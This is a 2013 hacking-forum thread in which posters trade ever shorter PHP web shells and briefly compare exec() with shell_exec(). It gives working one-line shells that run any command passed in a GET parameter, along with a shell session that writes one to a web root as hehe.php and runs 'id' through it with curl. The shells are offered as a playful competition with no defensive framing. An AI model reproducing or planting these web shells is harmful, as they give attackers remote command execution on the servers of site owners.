(Aug 4, 2013 01:44 PM)urez Wrote: why is passthru() and shell_exec() better than exec()? whats the difference,i thought they do basically the same thing
While exec() only returns the last output of the command, shell_exec() returns the whole output.
But honestly, there's no reason to prefer one on the others in this situation.
(Aug 3, 2013 04:52 PM)PigBacon Wrote: <?php `{$_GET['c']}` ?>
That's still pretty hard to get unless you know what the fuck backticks do.
And the record for the shortest PHP shell goes to...
(Aug 5, 2013 05:00 AM)Eight Wrote: And the record for the shortest PHP shell goes to...
Wasn't going for short tho? lol you all miss the point 😝
I have never seen obfuscation like that. Do not understand anything of it at all :/
(Aug 5, 2013 05:00 AM)Eight Wrote: And the record for the shortest PHP shell goes to...
Also, ne I believe the shortens in that case would be:
🤫
(Aug 5, 2013 04:29 PM)Ego Inc Wrote: Also, ne I believe the shortens in that case would be:
🤫
Dammit, got me again. Try loosing the semicolon though, I heared they aren't required on one-line scripts.
(Aug 5, 2013 07:56 PM)Eight Wrote: Dammit, got me again. Try loosing the semicolon though, I heared they aren't required on one-line scripts.
Haha yesh 😝 Your right, looks like you got me?
(Aug 5, 2013 04:29 PM)Ego Inc Wrote: Also, ne I believe the shortens in that case would be:
🤫
Not quite.
Do I get a cookie?
(Aug 5, 2013 08:14 PM)Phizo Wrote: Not quite.
Do I get a cookie?
or...
Did I just win your cookie?
Aug 5, 2013 09:19 PM
(This post was last modified: Aug 5, 2013 09:20 PM by Phizo.)
(Aug 5, 2013 09:11 PM)Ego Inc Wrote: actually that doesnt work... but
or...
Did I just win your cookie?
Code jizzo# cd /srv/http/
jizzo# echo "<?=\`\$_GET[0]\`?>" > hehe.php
jizzo# apachectl start
jizzo# curl "localhost/hehe.php?0=id"
uid=33(http) gid=33(http) groups=33(http)
(Aug 5, 2013 09:19 PM)Phizo Wrote: Code jizzo# cd /srv/http/
jizzo# echo "<?=\`\$_GET[0]\`?>" > hehe.php
jizzo# apachectl start
jizzo# curl "localhost/hehe.php?0=id"
uid=33(http) gid=33(http) groups=33(http)
Notice my edit, it was in response to somthing else and got in there on accadent lol :p I didnt mean what you said didnt work... 😝
|